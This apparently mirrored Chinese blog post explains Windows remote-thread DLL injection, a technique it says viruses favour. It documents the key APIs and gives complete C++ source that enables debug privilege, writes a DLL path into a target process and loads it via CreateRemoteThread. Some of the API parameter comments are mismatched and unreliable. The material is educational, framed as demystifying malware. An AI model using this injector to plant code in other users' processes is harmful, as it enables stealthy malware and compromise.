zoukankan      html  css  js  c++  java
  • Windows编程之《远线程注入技术》

    Windows编程之《远线程注入技术》

    近年来,全球大规模爆发勒索病毒和挖矿病毒,让沉寂许久的黑客技术,又重新回到了人们的视野中。Windows操作系统市场占有率高达90%以上,所以面对勒索病毒、挖矿病毒,Windows用户首当其冲。 为了揭开病毒木马的神秘面纱,更好地服务于信息安全,本书总结并剖析了常见的Windows黑客编程技术,用通俗易懂的语言介绍了用户层下的Windows编程和内核层下的Rootkit编程。

    【远线程注入技术】概念

    远线程注入技术指是:一个进程在另一个进程中创建线程的技术,是一种病毒木马程序所青睐的注入技术。

    常用函数

    1、OpenProcess函数(打开现有的本地进程对象)

    HANDLE OpenProcess(

      DWORD dwDesiredAccess,   // 访问进程对象

      BOOL  bInheritHandle, // 进程创建的进程将继承这个句柄:TRUE

      DWORD dwProcessId // 打开的本地进程的PID

    );

    2、VirutalAlloc函数(指定进程的虚拟地址空间内保留、提交或更改内存的状态)

    LPVOID VirtualAlloc(

      LPVOID lpAddress,  // 过程的句柄

      SIZE_T dwSize, // 指定要分配页面所需要起始地址的指针

      DWORD  flAllocationType, // 内存分配类型

      DWORD  flProtect // 要分配的页面区域内存保护

    );

    3、WriteProcessMemory函数(指定的进程中将数据写入内存区域,要写入的整个区域必须可访问,否则操作失败)

    BOOL WriteProcessMemory(

      HANDLE  hProcess,  // 要修改的进程内存的句柄

      LPVOID  lpBaseAddress, // 指向指定进程中写入数据的基地址指针

      LPCVOID lpBuffer, // 指向缓冲区的指针,其中包含要写入指定进程的地址空间中的数据

      SIZE_T  nSize, // 要写入指定进程的字节数

      SIZE_T  *lpNumberOfBytesWritten // 指向变量的指针,该变量接收传输到指定进程的字节数。

    );

    4、CreateRemoteThread函数(在另一个进程的虚拟地址空间中创建运行的线程)

    HANDLE CreateRemoteThread(

      HANDLE                 hProcess, // 要创建线程的进程的句柄

      LPSECURITY_ATTRIBUTES  lpThreadAttributes, // 指向SCURITY_ATTRIBUTES结构的指针,

      SIZE_T                 dwStackSize, // 堆栈的初始大小、以字节为单位

      LPTHREAD_START_ROUTINE lpStartAddress, // 指向由线程执行类型为LPTHREAD_START_TOUTINE的应用程序定义的函数指针,

      LPVOID                 lpParameter, // 指向要传递给线程函数的变量的指针

      DWORD                  dwCreationFlags, // 控制线程创建的标志

      LPDWORD                lpThreadId // 指向接收线程标识符的变量的指针

    );

    【远线程注入技术】实现原理

    远线程注入DLL之所以称为远线程,是由于它使用关键函数CreateRemoteThread来在其他进程空间中创建一个线程。那么,它为何能够 使其他进程加载一个DLL,实现DLL注入技术。

    【远线程注入源代码】

    #include <windows.h>

    #include <iostream>

    using namespace std;

    DWORD threadInject(WCHAR* dllpath, DWORD pid)

    {

        int t = sizeof(dllpath);

        //先激活权限

        HANDLE hToken;

        LUID newLuid;

        TOKEN_PRIVILEGES tr;

        tr.PrivilegeCount = 1;

        tr.Privileges->Attributes = SE_PRIVILEGE_ENABLED;

        OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &newLuid);

        tr.Privileges->Luid = newLuid;

        AdjustTokenPrivileges(hToken, FALSE, &tr, sizeof(tr), 0, 0);

        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);

        //获取进程句柄

        if (hProcess == 0 || hProcess == INVALID_HANDLE_VALUE)

        {

            printf("创建远线程失败 ");

            CloseHandle(hToken);

            return 0;

        }

        //申请内存存放参数

        LPVOID p = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if (!p)

        {

            printf("创建远线程失败 ");

            CloseHandle(hProcess);

            CloseHandle(hToken);

            return 0;

        }

        //写参数

        if (!WriteProcessMemory(hProcess, p, (LPVOID)(dllpath), sizeof(WCHAR)* (wcslen(dllpath)+1), NULL))

        {

            printf("创建远线程失败 ");

            VirtualFreeEx(hProcess, p, 0x1000, MEM_FREE);

            CloseHandle(hProcess);

            CloseHandle(hToken);

            return 0;

        }

        //创建远程线程并执行LoadLibraryW加载dll

        HANDLE cThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW")), p, 0, 0);

        if (cThread == 0 || cThread == INVALID_HANDLE_VALUE)

        {

            printf("创建远线程失败 ");

            VirtualFreeEx(hProcess, p, 0x1000, MEM_FREE);

            CloseHandle(hProcess);

            CloseHandle(hToken);

            return 0;

        }

        //5.等待线程结束返回,释放资源

        WaitForSingleObject(cThread, -1);

        CloseHandle(cThread);

        CloseHandle(hProcess);

        CloseHandle(hToken);

        printf("创建远线程成功 ");

        return 0;

    }

    int main() {

        DWORD pid;

        wstring str = L"C:\Users\97905\source\repos\RemoteInjectDll\Debug\RemoteInjectDll.dll";

        cout << "输入pid" << endl;

        cin >> pid;

        //RemoteThreadInject(pid);

        threadInject((WCHAR*)str.c_str(), pid);

        return 0;

    }

  • 相关阅读:
    进程间通讯----消息队列和共享内存方式的实现
    初探 Yii2 的测试模式 index-test.php
    nginx缓存功能的设置
    php五大运行模式CGI,FAST-CGI,CLI,ISAPI,APACHE模式
    workerman如何写mysql连接池
    Varnish 一般是放在 Nginx 前面还是后面的?
    关于PATH_INFO
    Java8 Lambda表达式
    synchronized的一些记录
    类和实例
  • 原文地址:https://www.cnblogs.com/chinasirius/p/13378710.html
Copyright © 2011-2022 走看看